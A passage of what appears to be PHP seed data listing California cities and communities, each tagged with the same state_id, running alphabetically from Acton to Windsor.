['state_id' => '3924', 'name' => 'acton'],\n ['state_id' => '3924', 'name' => 'adelanto'],\n ['state_id' => '3924', 'name' => 'agoura hills'],\n ['state_id' => '3924', 'name' => 'aguanga'],\n ['state_id' => '3924', 'name' => 'alameda'],\n ['state_id' => '3924', 'name' => 'alamo'],\n ['state_id' => '3924', 'name' => 'albany'],\n ['state_id' => '3924', 'name' => 'alhambra'],\n ['state_id' => '3924', 'name' => 'aliso viejo'],\n ['state_id' => '3924', 'name' => 'alondra park'],\n ['state_id' => '3924', 'name' => 'alpine'],\n ['state_id' => '3924', 'name' => 'alta loma'],\n ['state_id' => '3924', 'name' => 'altadena'],\n ['state_id' => '3924', 'name' => 'american canyon'],\n ['state_id' => '3924', 'name' => 'anaheim'],\n ['state_id' => '3924', 'name' => 'anderson'],\n ['state_id' => '3924', 'name' => 'antelope'],\n ['state_id' => '3924', 'name' => 'antioch'],\n ['state_id' => '3924', 'name' => 'apple valley'],\n ['state_id' => '3924', 'name' => 'aptos'],\n ['state_id' => '3924', 'name' => 'arcadia'],\n ['state_id' => '3924', 'name' => 'arcata'],\n ['state_id' => '3924', 'name' => 'arden-arcade'],\n ['state_id' => '3924', 'name' => 'arroyo grande'],\n ['state_id' => '3924', 'name' => 'artesia'],\n ['state_id' => '3924', 'name' => 'arvin'],\n ['state_id' => '3924', 'name' => 'ashland'],\n ['state_id' => '3924', 'name' => 'atascadero'],\n ['state_id' => '3924', 'name' => 'atwater'],\n ['state_id' => '3924', 'name' => 'auburn'],\n ['state_id' => '3924', 'name' => 'avalon'],\n ['state_id' => '3924', 'name' => 'avenal'],\n ['state_id' => '3924', 'name' => 'avocado heights'],\n ['state_id' => '3924', 'name' => 'azusa'],\n ['state_id' => '3924', 'name' => 'bakersfield'],\n ['state_id' => '3924', 'name' => 'baldwin park'],\n ['state_id' => '3924', 'name' => 'banning'],\n ['state_id' => '3924', 'name' => 'barstow'],\n ['state_id' => '3924', 'name' => 'bay point'],\n ['state_id' => '3924', 'name' => 'baywood-los osos'],\n ['state_id' => '3924', 'name' => 'bear valley springs'],\n ['state_id' => '3924', 'name' => 'beaumont'],\n ['state_id' => '3924', 'name' => 'bell'],\n ['state_id' => '3924', 'name' => 'bell gardens'],\n ['state_id' => '3924', 'name' => 'bellflower'],\n ['state_id' => '3924', 'name' => 'belmont'],\n ['state_id' => '3924', 'name' => 'ben lomond'],\n ['state_id' => '3924', 'name' => 'benicia'],\n ['state_id' => '3924', 'name' => 'berkeley'],\n ['state_id' => '3924', 'name' => 'beverly hills'],\n ['state_id' => '3924', 'name' => 'big bear lake'],\n ['state_id' => '3924', 'name' => 'bloomington'],\n ['state_id' => '3924', 'name' => 'blythe'],\n ['state_id' => '3924', 'name' => 'bonita'],\n ['state_id' => '3924', 'name' => 'bostonia'],\n ['state_id' => '3924', 'name' => 'brawley'],\n ['state_id' => '3924', 'name' => 'brea'],\n ['state_id' => '3924', 'name' => 'brentwood'],\n ['state_id' => '3924', 'name' => 'brisbane'],\n ['state_id' => '3924', 'name' => 'brookdale'],\n ['state_id' => '3924', 'name' => 'buena park'],\n ['state_id' => '3924', 'name' => 'burbank'],\n ['state_id' => '3924', 'name' => 'burlingame'],\n ['state_id' => '3924', 'name' => 'burnham'],\n ['state_id' => '3924', 'name' => 'byron'],\n ['state_id' => '3924', 'name' => 'calabasas'],\n ['state_id' => '3924', 'name' => 'calexico'],\n ['state_id' => '3924', 'name' => 'california city'],\n ['state_id' => '3924', 'name' => 'camarillo'],\n ['state_id' => '3924', 'name' => 'cameron park'],\n ['state_id' => '3924', 'name' => 'camino'],\n ['state_id' => '3924', 'name' => 'camp pendleton north'],\n ['state_id' => '3924', 'name' => 'camp pendleton south'],\n ['state_id' => '3924', 'name' => 'campbell'],\n ['state_id' => '3924', 'name' => 'canoga park'],\n ['state_id' => '3924', 'name' => 'canyon lake'],\n ['state_id' => '3924', 'name' => 'capitola'],\n ['state_id' => '3924', 'name' => 'carlsbad'],\n ['state_id' => '3924', 'name' => 'carmel'],\n ['state_id' => '3924', 'name' => 'carmel valley'],\n ['state_id' => '3924', 'name' => 'carmichael'],\n ['state_id' => '3924', 'name' => 'carpinteria'],\n ['state_id' => '3924', 'name' => 'carson'],\n ['state_id' => '3924', 'name' => 'casa de oro-mount helix'],\n ['state_id' => '3924', 'name' => 'castaic'],\n ['state_id' => '3924', 'name' => 'castro valley'],\n ['state_id' => '3924', 'name' => 'cathedral city'],\n ['state_id' => '3924', 'name' => 'cayucos'],\n ['state_id' => '3924', 'name' => 'ceres'],\n ['state_id' => '3924', 'name' => 'cerritos'],\n ['state_id' => '3924', 'name' => 'charter oak'],\n ['state_id' => '3924', 'name' => 'chatsworth'],\n ['state_id' => '3924', 'name' => 'cherryland'],\n ['state_id' => '3924', 'name' => 'chico'],\n ['state_id' => '3924', 'name' => 'chino'],\n ['state_id' => '3924', 'name' => 'chino hills'],\n ['state_id' => '3924', 'name' => 'chula vista'],\n ['state_id' => '3924', 'name' => 'citrus'],\n ['state_id' => '3924', 'name' => 'citrus heights'],\n ['state_id' => '3924', 'name' => 'city of commerce'],\n ['state_id' => '3924', 'name' => 'city of industry'],\n ['state_id' => '3924', 'name' => 'claremont'],\n ['state_id' => '3924', 'name' => 'clearlake'],\n ['state_id' => '3924', 'name' => 'clovis'],\n ['state_id' => '3924', 'name' => 'coachella'],\n ['state_id' => '3924', 'name' => 'coalinga'],\n ['state_id' => '3924', 'name' => 'colfax'],\n ['state_id' => '3924', 'name' => 'colton'],\n ['state_id' => '3924', 'name' => 'colusa'],\n ['state_id' => '3924', 'name' => 'commerce'],\n ['state_id' => '3924', 'name' => 'compton'],\n ['state_id' => '3924', 'name' => 'concord'],\n ['state_id' => '3924', 'name' => 'corcoran'],\n ['state_id' => '3924', 'name' => 'corning'],\n ['state_id' => '3924', 'name' => 'corona'],\n ['state_id' => '3924', 'name' => 'coronado'],\n ['state_id' => '3924', 'name' => 'corte madera'],\n ['state_id' => '3924', 'name' => 'costa mesa'],\n ['state_id' => '3924', 'name' => 'cotati'],\n ['state_id' => '3924', 'name' => 'cottonwood'],\n ['state_id' => '3924', 'name' => 'country club'],\n ['state_id' => '3924', 'name' => 'covina'],\n ['state_id' => '3924', 'name' => 'crestline'],\n ['state_id' => '3924', 'name' => 'cudahy'],\n ['state_id' => '3924', 'name' => 'culver city'],\n ['state_id' => '3924', 'name' => 'cupertino'],\n ['state_id' => '3924', 'name' => 'cypress'],\n ['state_id' => '3924', 'name' => 'daly city'],\n ['state_id' => '3924', 'name' => 'dana point'],\n ['state_id' => '3924', 'name' => 'danville'],\n ['state_id' => '3924', 'name' => 'davis'],\n ['state_id' => '3924', 'name' => 'del mar'],\n ['state_id' => '3924', 'name' => 'delano'],\n ['state_id' => '3924', 'name' => 'desert hot springs'],\n ['state_id' => '3924', 'name' => 'diamond bar'],\n ['state_id' => '3924', 'name' => 'dinuba'],\n ['state_id' => '3924', 'name' => 'dixon'],\n ['state_id' => '3924', 'name' => 'downey'],\n ['state_id' => '3924', 'name' => 'duarte'],\n ['state_id' => '3924', 'name' => 'dublin'],\n ['state_id' => '3924', 'name' => 'east foothills'],\n ['state_id' => '3924', 'name' => 'east hemet'],\n ['state_id' => '3924', 'name' => 'east la mirada'],\n ['state_id' => '3924', 'name' => 'east palo alto'],\n ['state_id' => '3924', 'name' => 'east san gabriel'],\n ['state_id' => '3924', 'name' => 'el cajon'],\n ['state_id' => '3924', 'name' => 'el centro'],\n ['state_id' => '3924', 'name' => 'el cerrito'],\n ['state_id' => '3924', 'name' => 'el granada'],\n ['state_id' => '3924', 'name' => 'el monte'],\n ['state_id' => '3924', 'name' => 'el paso de robles'],\n ['state_id' => '3924', 'name' => 'el segundo'],\n ['state_id' => '3924', 'name' => 'el sobrante'],\n ['state_id' => '3924', 'name' => 'elk grove'],\n ['state_id' => '3924', 'name' => 'emeryville'],\n ['state_id' => '3924', 'name' => 'encinitas'],\n ['state_id' => '3924', 'name' => 'encino'],\n ['state_id' => '3924', 'name' => 'escondido'],\n ['state_id' => '3924', 'name' => 'etna'],\n ['state_id' => '3924', 'name' => 'eureka'],\n ['state_id' => '3924', 'name' => 'exeter'],\n ['state_id' => '3924', 'name' => 'fair oaks'],\n ['state_id' => '3924', 'name' => 'fairfax'],\n ['state_id' => '3924', 'name' => 'fairfield'],\n ['state_id' => '3924', 'name' => 'fairview'],\n ['state_id' => '3924', 'name' => 'fallbrook'],\n ['state_id' => '3924', 'name' => 'ferndale'],\n ['state_id' => '3924', 'name' => 'fillmore'],\n ['state_id' => '3924', 'name' => 'florence-graham'],\n ['state_id' => '3924', 'name' => 'florin'],\n ['state_id' => '3924', 'name' => 'folsom'],\n ['state_id' => '3924', 'name' => 'fontana'],\n ['state_id' => '3924', 'name' => 'foothill farms'],\n ['state_id' => '3924', 'name' => 'foothill ranch'],\n ['state_id' => '3924', 'name' => 'forestville'],\n ['state_id' => '3924', 'name' => 'fort bragg'],\n ['state_id' => '3924', 'name' => 'fortuna'],\n ['state_id' => '3924', 'name' => 'foster city'],\n ['state_id' => '3924', 'name' => 'fountain valley'],\n ['state_id' => '3924', 'name' => 'freedom'],\n ['state_id' => '3924', 'name' => 'fremont'],\n ['state_id' => '3924', 'name' => 'fresno'],\n ['state_id' => '3924', 'name' => 'fullerton'],\n ['state_id' => '3924', 'name' => 'galt'],\n ['state_id' => '3924', 'name' => 'garberville'],\n ['state_id' => '3924', 'name' => 'garden acres'],\n ['state_id' => '3924', 'name' => 'garden grove'],\n ['state_id' => '3924', 'name' => 'gardena'],\n ['state_id' => '3924', 'name' => 'georgetown'],\n ['state_id' => '3924', 'name' => 'gilroy'],\n ['state_id' => '3924', 'name' => 'glen avon'],\n ['state_id' => '3924', 'name' => 'glendale'],\n ['state_id' => '3924', 'name' => 'glendora'],\n ['state_id' => '3924', 'name' => 'goleta'],\n ['state_id' => '3924', 'name' => 'gonzales'],\n ['state_id' => '3924', 'name' => 'granada hills'],\n ['state_id' => '3924', 'name' => 'grand terrace'],\n ['state_id' => '3924', 'name' => 'grass valley'],\n ['state_id' => '3924', 'name' => 'greenfield'],\n ['state_id' => '3924', 'name' => 'grover beach'],\n ['state_id' => '3924', 'name' => 'gualala'],\n ['state_id' => '3924', 'name' => 'guerneville'],\n ['state_id' => '3924', 'name' => 'hacienda heights'],\n ['state_id' => '3924', 'name' => 'half moon bay'],\n ['state_id' => '3924', 'name' => 'hanford'],\n ['state_id' => '3924', 'name' => 'harbor city'],\n ['state_id' => '3924', 'name' => 'hawaiian gardens'],\n ['state_id' => '3924', 'name' => 'hawthorne'],\n ['state_id' => '3924', 'name' => 'hayward'],\n ['state_id' => '3924', 'name' => 'hemet'],\n ['state_id' => '3924', 'name' => 'hercules'],\n ['state_id' => '3924', 'name' => 'hermosa beach'],\n ['state_id' => '3924', 'name' => 'hesperia'],\n ['state_id' => '3924', 'name' => 'highland'],\n ['state_id' => '3924', 'name' => 'hillsborough'],\n ['state_id' => '3924', 'name' => 'hollister'],\n ['state_id' => '3924', 'name' => 'hollywood'],\n ['state_id' => '3924', 'name' => 'huntington beach'],\n ['state_id' => '3924', 'name' => 'huntington park'],\n ['state_id' => '3924', 'name' => 'idyllwild'],\n ['state_id' => '3924', 'name' => 'imperial beach'],\n ['state_id' => '3924', 'name' => 'indio'],\n ['state_id' => '3924', 'name' => 'industry'],\n ['state_id' => '3924', 'name' => 'inglewood'],\n ['state_id' => '3924', 'name' => 'irvine'],\n ['state_id' => '3924', 'name' => 'irwindale'],\n ['state_id' => '3924', 'name' => 'isla vista'],\n ['state_id' => '3924', 'name' => 'jackson'],\n ['state_id' => '3924', 'name' => 'jamul'],\n ['state_id' => '3924', 'name' => 'la canada flintridge'],\n ['state_id' => '3924', 'name' => 'la crescenta-montrose'],\n ['state_id' => '3924', 'name' => 'la habra'],\n ['state_id' => '3924', 'name' => 'la jolla'],\n ['state_id' => '3924', 'name' => 'la mesa'],\n ['state_id' => '3924', 'name' => 'la mirada'],\n ['state_id' => '3924', 'name' => 'la palma'],\n ['state_id' => '3924', 'name' => 'la presa'],\n ['state_id' => '3924', 'name' => 'la puente'],\n ['state_id' => '3924', 'name' => 'la quinta'],\n ['state_id' => '3924', 'name' => 'la riviera'],\n ['state_id' => '3924', 'name' => 'la verne'],\n ['state_id' => '3924', 'name' => 'laverne'],\n ['state_id' => '3924', 'name' => 'ladera ranch'],\n ['state_id' => '3924', 'name' => 'lafayette'],\n ['state_id' => '3924', 'name' => 'laguna'],\n ['state_id' => '3924', 'name' => 'laguna beach'],\n ['state_id' => '3924', 'name' => 'laguna hills'],\n ['state_id' => '3924', 'name' => 'laguna niguel'],\n ['state_id' => '3924', 'name' => 'lake elsinore'],\n ['state_id' => '3924', 'name' => 'lake forest'],\n ['state_id' => '3924', 'name' => 'lakeside'],\n ['state_id' => '3924', 'name' => 'lakewood'],\n ['state_id' => '3924', 'name' => 'lamont'],\n ['state_id' => '3924', 'name' => 'lancaster'],\n ['state_id' => '3924', 'name' => 'larkspur'],\n ['state_id' => '3924', 'name' => 'lawndale'],\n ['state_id' => '3924', 'name' => 'laytonville'],\n ['state_id' => '3924', 'name' => 'lemon grove'],\n ['state_id' => '3924', 'name' => 'lemoore'],\n ['state_id' => '3924', 'name' => 'lennox'],\n ['state_id' => '3924', 'name' => 'linda'],\n ['state_id' => '3924', 'name' => 'lindsay'],\n ['state_id' => '3924', 'name' => 'live oak'],\n ['state_id' => '3924', 'name' => 'livermore'],\n ['state_id' => '3924', 'name' => 'livingston'],\n ['state_id' => '3924', 'name' => 'lodi'],\n ['state_id' => '3924', 'name' => 'loma linda'],\n ['state_id' => '3924', 'name' => 'lomita'],\n ['state_id' => '3924', 'name' => 'lompoc'],\n ['state_id' => '3924', 'name' => 'long beach'],\n ['state_id' => '3924', 'name' => 'los alamitos'],\n ['state_id' => '3924', 'name' => 'los altos'],\n ['state_id' => '3924', 'name' => 'los angeles'],\n ['state_id' => '3924', 'name' => 'los angeles east'],\n ['state_id' => '3924', 'name' => 'los banos'],\n ['state_id' => '3924', 'name' => 'los gatos'],\n ['state_id' => '3924', 'name' => 'los olivos'],\n ['state_id' => '3924', 'name' => 'lynwood'],\n ['state_id' => '3924', 'name' => 'mackinleyville'],\n ['state_id' => '3924', 'name' => 'madera'],\n ['state_id' => '3924', 'name' => 'magalia'],\n ['state_id' => '3924', 'name' => 'malibu'],\n ['state_id' => '3924', 'name' => 'mammoth lakes'],\n ['state_id' => '3924', 'name' => 'manhattan beach'],\n ['state_id' => '3924', 'name' => 'manteca'],\n ['state_id' => '3924', 'name' => 'marina'],\n ['state_id' => '3924', 'name' => 'marina del rey'],\n ['state_id' => '3924', 'name' => 'mariposa'],\n ['state_id' => '3924', 'name' => 'marshall'],\n ['state_id' => '3924', 'name' => 'martinez'],\n ['state_id' => '3924', 'name' => 'marysville'],\n ['state_id' => '3924', 'name' => 'maywood'],\n ['state_id' => '3924', 'name' => 'menlo park'],\n ['state_id' => '3924', 'name' => 'merced'],\n ['state_id' => '3924', 'name' => 'middletown'],\n ['state_id' => '3924', 'name' => 'midway city'],\n ['state_id' => '3924', 'name' => 'mill valley'],\n ['state_id' => '3924', 'name' => 'millbrae'],\n ['state_id' => '3924', 'name' => 'milpitas'],\n ['state_id' => '3924', 'name' => 'mira loma'],\n ['state_id' => '3924', 'name' => 'miranda'],\n ['state_id' => '3924', 'name' => 'mission viejo'],\n ['state_id' => '3924', 'name' => 'modesto'],\n ['state_id' => '3924', 'name' => 'monclair'],\n ['state_id' => '3924', 'name' => 'monrovia'],\n ['state_id' => '3924', 'name' => 'montara'],\n ['state_id' => '3924', 'name' => 'montclair'],\n ['state_id' => '3924', 'name' => 'montebello'],\n ['state_id' => '3924', 'name' => 'montecito'],\n ['state_id' => '3924', 'name' => 'monterey'],\n ['state_id' => '3924', 'name' => 'monterey park'],\n ['state_id' => '3924', 'name' => 'moorpark'],\n ['state_id' => '3924', 'name' => 'moraga town'],\n ['state_id' => '3924', 'name' => 'moreno valley'],\n ['state_id' => '3924', 'name' => 'morgan hill'],\n ['state_id' => '3924', 'name' => 'morro bay'],\n ['state_id' => '3924', 'name' => 'moss beach'],\n ['state_id' => '3924', 'name' => 'mount shasta'],\n ['state_id' => '3924', 'name' => 'mountain view'],\n ['state_id' => '3924', 'name' => 'murrieta'],\n ['state_id' => '3924', 'name' => 'n. hollywood'],\n ['state_id' => '3924', 'name' => 'napa'],\n ['state_id' => '3924', 'name' => 'national city'],\n ['state_id' => '3924', 'name' => 'nevada city'],\n ['state_id' => '3924', 'name' => 'newark'],\n ['state_id' => '3924', 'name' => 'newport beach'],\n ['state_id' => '3924', 'name' => 'norco'],\n ['state_id' => '3924', 'name' => 'north auburn'],\n ['state_id' => '3924', 'name' => 'north fair oaks'],\n ['state_id' => '3924', 'name' => 'north fork'],\n ['state_id' => '3924', 'name' => 'north highlands'],\n ['state_id' => '3924', 'name' => 'north hills'],\n ['state_id' => '3924', 'name' => 'north hollywood'],\n ['state_id' => '3924', 'name' => 'northridge'],\n ['state_id' => '3924', 'name' => 'norwalk'],\n ['state_id' => '3924', 'name' => 'novato'],\n ['state_id' => '3924', 'name' => 'nuevo'],\n ['state_id' => '3924', 'name' => 'oak view'],\n ['state_id' => '3924', 'name' => 'oakdale'],\n ['state_id' => '3924', 'name' => 'oakhurst'],\n ['state_id' => '3924', 'name' => 'oakland'],\n ['state_id' => '3924', 'name' => 'oakley'],\n ['state_id' => '3924', 'name' => 'oceanside'],\n ['state_id' => '3924', 'name' => 'oildale'],\n ['state_id' => '3924', 'name' => 'ojai'],\n ['state_id' => '3924', 'name' => 'olivehurst'],\n ['state_id' => '3924', 'name' => 'ontario'],\n ['state_id' => '3924', 'name' => 'orange'],\n ['state_id' => '3924', 'name' => 'orangevale'],\n ['state_id' => '3924', 'name' => 'orcutt'],\n ['state_id' => '3924', 'name' => 'oregon house'],\n ['state_id' => '3924', 'name' => 'orinda'],\n ['state_id' => '3924', 'name' => 'oroville'],\n ['state_id' => '3924', 'name' => 'oxnard'],\n ['state_id' => '3924', 'name' => 'pacific grove'],\n ['state_id' => '3924', 'name' => 'pacific palisades'],\n ['state_id' => '3924', 'name' => 'pacifica'],\n ['state_id' => '3924', 'name' => 'pacoima'],\n ['state_id' => '3924', 'name' => 'pajaro'],\n ['state_id' => '3924', 'name' => 'palm desert'],\n ['state_id' => '3924', 'name' => 'palm springs'],\n ['state_id' => '3924', 'name' => 'palmdale'],\n ['state_id' => '3924', 'name' => 'palo alto'],\n ['state_id' => '3924', 'name' => 'palos verdes estates'],\n ['state_id' => '3924', 'name' => 'pamona'],\n ['state_id' => '3924', 'name' => 'panorama city'],\n ['state_id' => '3924', 'name' => 'paradise'],\n ['state_id' => '3924', 'name' => 'paramount'],\n ['state_id' => '3924', 'name' => 'parkway-south sacramento'],\n ['state_id' => '3924', 'name' => 'parlier'],\n ['state_id' => '3924', 'name' => 'pasadena'],\n ['state_id' => '3924', 'name' => 'patterson'],\n ['state_id' => '3924', 'name' => 'pedley'],\n ['state_id' => '3924', 'name' => 'perris'],\n ['state_id' => '3924', 'name' => 'petaluma'],\n ['state_id' => '3924', 'name' => 'pico rivera'],\n ['state_id' => '3924', 'name' => 'piedmont'],\n ['state_id' => '3924', 'name' => 'pinole'],\n ['state_id' => '3924', 'name' => 'pismo beach'],\n ['state_id' => '3924', 'name' => 'pittsburg'],\n ['state_id' => '3924', 'name' => 'placentia'],\n ['state_id' => '3924', 'name' => 'placerville'],\n ['state_id' => '3924', 'name' => 'playa del rey'],\n ['state_id' => '3924', 'name' => 'pleasant hill'],\n ['state_id' => '3924', 'name' => 'pleasanton'],\n ['state_id' => '3924', 'name' => 'plymouth'],\n ['state_id' => '3924', 'name' => 'point reyes station'],\n ['state_id' => '3924', 'name' => 'pollock pines'],\n ['state_id' => '3924', 'name' => 'pomona'],\n ['state_id' => '3924', 'name' => 'port costa'],\n ['state_id' => '3924', 'name' => 'port hueneme'],\n ['state_id' => '3924', 'name' => 'porterville'],\n ['state_id' => '3924', 'name' => 'poway'],\n ['state_id' => '3924', 'name' => 'quartz hill'],\n ['state_id' => '3924', 'name' => 'ramona'],\n ['state_id' => '3924', 'name' => 'rancho cordova'],\n ['state_id' => '3924', 'name' => 'rancho cucamonga'],\n ['state_id' => '3924', 'name' => 'rancho dominguez'],\n ['state_id' => '3924', 'name' => 'rancho mirage'],\n ['state_id' => '3924', 'name' => 'rancho murieta'],\n ['state_id' => '3924', 'name' => 'rancho palos verdes'],\n ['state_id' => '3924', 'name' => 'rancho san diego'],\n ['state_id' => '3924', 'name' => 'rancho santa margarita'],\n ['state_id' => '3924', 'name' => 'red bluff'],\n ['state_id' => '3924', 'name' => 'redding'],\n ['state_id' => '3924', 'name' => 'redlands'],\n ['state_id' => '3924', 'name' => 'redondo beach'],\n ['state_id' => '3924', 'name' => 'redway'],\n ['state_id' => '3924', 'name' => 'redwood city'],\n ['state_id' => '3924', 'name' => 'reedley'],\n ['state_id' => '3924', 'name' => 'reseda'],\n ['state_id' => '3924', 'name' => 'rialto'],\n ['state_id' => '3924', 'name' => 'richmond'],\n ['state_id' => '3924', 'name' => 'ridgecrest'],\n ['state_id' => '3924', 'name' => 'rio linda'],\n ['state_id' => '3924', 'name' => 'rio nido'],\n ['state_id' => '3924', 'name' => 'rio del mar'],\n ['state_id' => '3924', 'name' => 'riverbank'],\n ['state_id' => '3924', 'name' => 'riverside'],\n ['state_id' => '3924', 'name' => 'rocklin'],\n ['state_id' => '3924', 'name' => 'rohnert park'],\n ['state_id' => '3924', 'name' => 'rolling hills'],\n ['state_id' => '3924', 'name' => 'rosamond'],\n ['state_id' => '3924', 'name' => 'roseland'],\n ['state_id' => '3924', 'name' => 'rosemead'],\n ['state_id' => '3924', 'name' => 'rosemont'],\n ['state_id' => '3924', 'name' => 'roseville'],\n ['state_id' => '3924', 'name' => 'rossmoor'],\n ['state_id' => '3924', 'name' => 'rowland heights'],\n ['state_id' => '3924', 'name' => 'rubidoux'],\n ['state_id' => '3924', 'name' => 'sacramento'],\n ['state_id' => '3924', 'name' => 'salinas'],\n ['state_id' => '3924', 'name' => 'san anselmo'],\n ['state_id' => '3924', 'name' => 'san bernardino'],\n ['state_id' => '3924', 'name' => 'san bruno'],\n ['state_id' => '3924', 'name' => 'san buenaventura'],\n ['state_id' => '3924', 'name' => 'san carlos'],\n ['state_id' => '3924', 'name' => 'san clemente'],\n ['state_id' => '3924', 'name' => 'san diego'],\n ['state_id' => '3924', 'name' => 'san dimas'],\n ['state_id' => '3924', 'name' => 'san fernando'],\n ['state_id' => '3924', 'name' => 'san francisco'],\n ['state_id' => '3924', 'name' => 'san gabriel'],\n ['state_id' => '3924', 'name' => 'san jacinto'],\n ['state_id' => '3924', 'name' => 'san jose'],\n ['state_id' => '3924', 'name' => 'san juan capistrano'],\n ['state_id' => '3924', 'name' => 'san leandro'],\n ['state_id' => '3924', 'name' => 'san lorenzo'],\n ['state_id' => '3924', 'name' => 'san luis obispo'],\n ['state_id' => '3924', 'name' => 'san marcos'],\n ['state_id' => '3924', 'name' => 'san marino'],\n ['state_id' => '3924', 'name' => 'san mateo'],\n ['state_id' => '3924', 'name' => 'san pablo'],\n ['state_id' => '3924', 'name' => 'san pedro'],\n ['state_id' => '3924', 'name' => 'san rafael'],\n ['state_id' => '3924', 'name' => 'san ramon'],\n ['state_id' => '3924', 'name' => 'san ysidro'],\n ['state_id' => '3924', 'name' => 'sanger'],\n ['state_id' => '3924', 'name' => 'santa ana'],\n ['state_id' => '3924', 'name' => 'santa barbara'],\n ['state_id' => '3924', 'name' => 'santa clara'],\n ['state_id' => '3924', 'name' => 'santa clarita'],\n ['state_id' => '3924', 'name' => 'santa cruz'],\n ['state_id' => '3924', 'name' => 'santa fe springs'],\n ['state_id' => '3924', 'name' => 'santa maria'],\n ['state_id' => '3924', 'name' => 'santa monica'],\n ['state_id' => '3924', 'name' => 'santa paula'],\n ['state_id' => '3924', 'name' => 'santa rosa'],\n ['state_id' => '3924', 'name' => 'santa ynez'],\n ['state_id' => '3924', 'name' => 'santee'],\n ['state_id' => '3924', 'name' => 'saratoga'],\n ['state_id' => '3924', 'name' => 'sausalito'],\n ['state_id' => '3924', 'name' => 'scotts valley'],\n ['state_id' => '3924', 'name' => 'seal beach'],\n ['state_id' => '3924', 'name' => 'seaside'],\n ['state_id' => '3924', 'name' => 'sebastopol'],\n ['state_id' => '3924', 'name' => 'selma'],\n ['state_id' => '3924', 'name' => 'shafter'],\n ['state_id' => '3924', 'name' => 'sherman oaks'],\n ['state_id' => '3924', 'name' => 'sierra madre'],\n ['state_id' => '3924', 'name' => 'signal hill'],\n ['state_id' => '3924', 'name' => 'simi valley'],\n ['state_id' => '3924', 'name' => 'solana beach'],\n ['state_id' => '3924', 'name' => 'soledad'],\n ['state_id' => '3924', 'name' => 'solvang'],\n ['state_id' => '3924', 'name' => 'sonoma'],\n ['state_id' => '3924', 'name' => 'sonora'],\n ['state_id' => '3924', 'name' => 'soquel'],\n ['state_id' => '3924', 'name' => 'south el monte'],\n ['state_id' => '3924', 'name' => 'south gate'],\n ['state_id' => '3924', 'name' => 'south lake tahoe'],\n ['state_id' => '3924', 'name' => 'south pasadena'],\n ['state_id' => '3924', 'name' => 'south san francisco'],\n ['state_id' => '3924', 'name' => 'south san jose hills'],\n ['state_id' => '3924', 'name' => 'south whittier'],\n ['state_id' => '3924', 'name' => 'south yuba city'],\n ['state_id' => '3924', 'name' => 'spring valley'],\n ['state_id' => '3924', 'name' => 'st. helena'],\n ['state_id' => '3924', 'name' => 'stanford'],\n ['state_id' => '3924', 'name' => 'stanton'],\n ['state_id' => '3924', 'name' => 'stevenson ranch'],\n ['state_id' => '3924', 'name' => 'stockton'],\n ['state_id' => '3924', 'name' => 'strathmore'],\n ['state_id' => '3924', 'name' => 'studio city'],\n ['state_id' => '3924', 'name' => 'suisun city'],\n ['state_id' => '3924', 'name' => 'sun city'],\n ['state_id' => '3924', 'name' => 'sun valley'],\n ['state_id' => '3924', 'name' => 'sunland'],\n ['state_id' => '3924', 'name' => 'sunnyvale'],\n ['state_id' => '3924', 'name' => 'susanville'],\n ['state_id' => '3924', 'name' => 'sutter'],\n ['state_id' => '3924', 'name' => 'sylmar'],\n ['state_id' => '3924', 'name' => 'tahoe city'],\n ['state_id' => '3924', 'name' => 'tamalpais-homestead valley'],\n ['state_id' => '3924', 'name' => 'tarzana'],\n ['state_id' => '3924', 'name' => 'tehachapi'],\n ['state_id' => '3924', 'name' => 'temecula'],\n ['state_id' => '3924', 'name' => 'temple city'],\n ['state_id' => '3924', 'name' => 'thousand oaks'],\n ['state_id' => '3924', 'name' => 'tiburon'],\n ['state_id' => '3924', 'name' => 'topanga'],\n ['state_id' => '3924', 'name' => 'torrance'],\n ['state_id' => '3924', 'name' => 'trabuco canyon'],\n ['state_id' => '3924', 'name' => 'tracy'],\n ['state_id' => '3924', 'name' => 'trinidad'],\n ['state_id' => '3924', 'name' => 'trona'],\n ['state_id' => '3924', 'name' => 'truckee'],\n ['state_id' => '3924', 'name' => 'tujunga'],\n ['state_id' => '3924', 'name' => 'tulare'],\n ['state_id' => '3924', 'name' => 'turlock'],\n ['state_id' => '3924', 'name' => 'tustin'],\n ['state_id' => '3924', 'name' => 'tustin foothills'],\n ['state_id' => '3924', 'name' => 'twentynine palms'],\n ['state_id' => '3924', 'name' => 'twentynine palms base'],\n ['state_id' => '3924', 'name' => 'ukiah'],\n ['state_id' => '3924', 'name' => 'union city'],\n ['state_id' => '3924', 'name' => 'upland'],\n ['state_id' => '3924', 'name' => 'vacaville'],\n ['state_id' => '3924', 'name' => 'valencia'],\n ['state_id' => '3924', 'name' => 'valinda'],\n ['state_id' => '3924', 'name' => 'valle vista'],\n ['state_id' => '3924', 'name' => 'vallejo'],\n ['state_id' => '3924', 'name' => 'valley center'],\n ['state_id' => '3924', 'name' => 'valley glen'],\n ['state_id' => '3924', 'name' => 'valley village'],\n ['state_id' => '3924', 'name' => 'van nuys'],\n ['state_id' => '3924', 'name' => 'vandenberg air force base'],\n ['state_id' => '3924', 'name' => 'venice'],\n ['state_id' => '3924', 'name' => 'ventura'],\n ['state_id' => '3924', 'name' => 'vernon'],\n ['state_id' => '3924', 'name' => 'victorville'],\n ['state_id' => '3924', 'name' => 'view park-windsor hills'],\n ['state_id' => '3924', 'name' => 'vincent'],\n ['state_id' => '3924', 'name' => 'visalia'],\n ['state_id' => '3924', 'name' => 'vista'],\n ['state_id' => '3924', 'name' => 'walnut'],\n ['state_id' => '3924', 'name' => 'walnut creek'],\n ['state_id' => '3924', 'name' => 'walnut park'],\n ['state_id' => '3924', 'name' => 'wasco'],\n ['state_id' => '3924', 'name' => 'waterford'],\n ['state_id' => '3924', 'name' => 'watsonville'],\n ['state_id' => '3924', 'name' => 'west athens'],\n ['state_id' => '3924', 'name' => 'west carson'],\n ['state_id' => '3924', 'name' => 'west covina'],\n ['state_id' => '3924', 'name' => 'west hills'],\n ['state_id' => '3924', 'name' => 'west hollywood'],\n ['state_id' => '3924', 'name' => 'west puente valley'],\n ['state_id' => '3924', 'name' => 'west sacramento'],\n ['state_id' => '3924', 'name' => 'west whittier-los nietos'],\n ['state_id' => '3924', 'name' => 'westlake village'],\n ['state_id' => '3924', 'name' => 'westminster'],\n ['state_id' => '3924', 'name' => 'westmont'],\n ['state_id' => '3924', 'name' => 'whittier'],\n ['state_id' => '3924', 'name' => 'wildomar'],\n ['state_id' => '3924', 'name' => 'willits'],\n ['state_id' => '3924', 'name' => 'willowbrook'],\n ['state_id' => '3924', 'name' => 'wilmington'],\n ['state_id' => '3924', 'name' => 'windsor'],\n ['state_id' => '3924', 'name' => 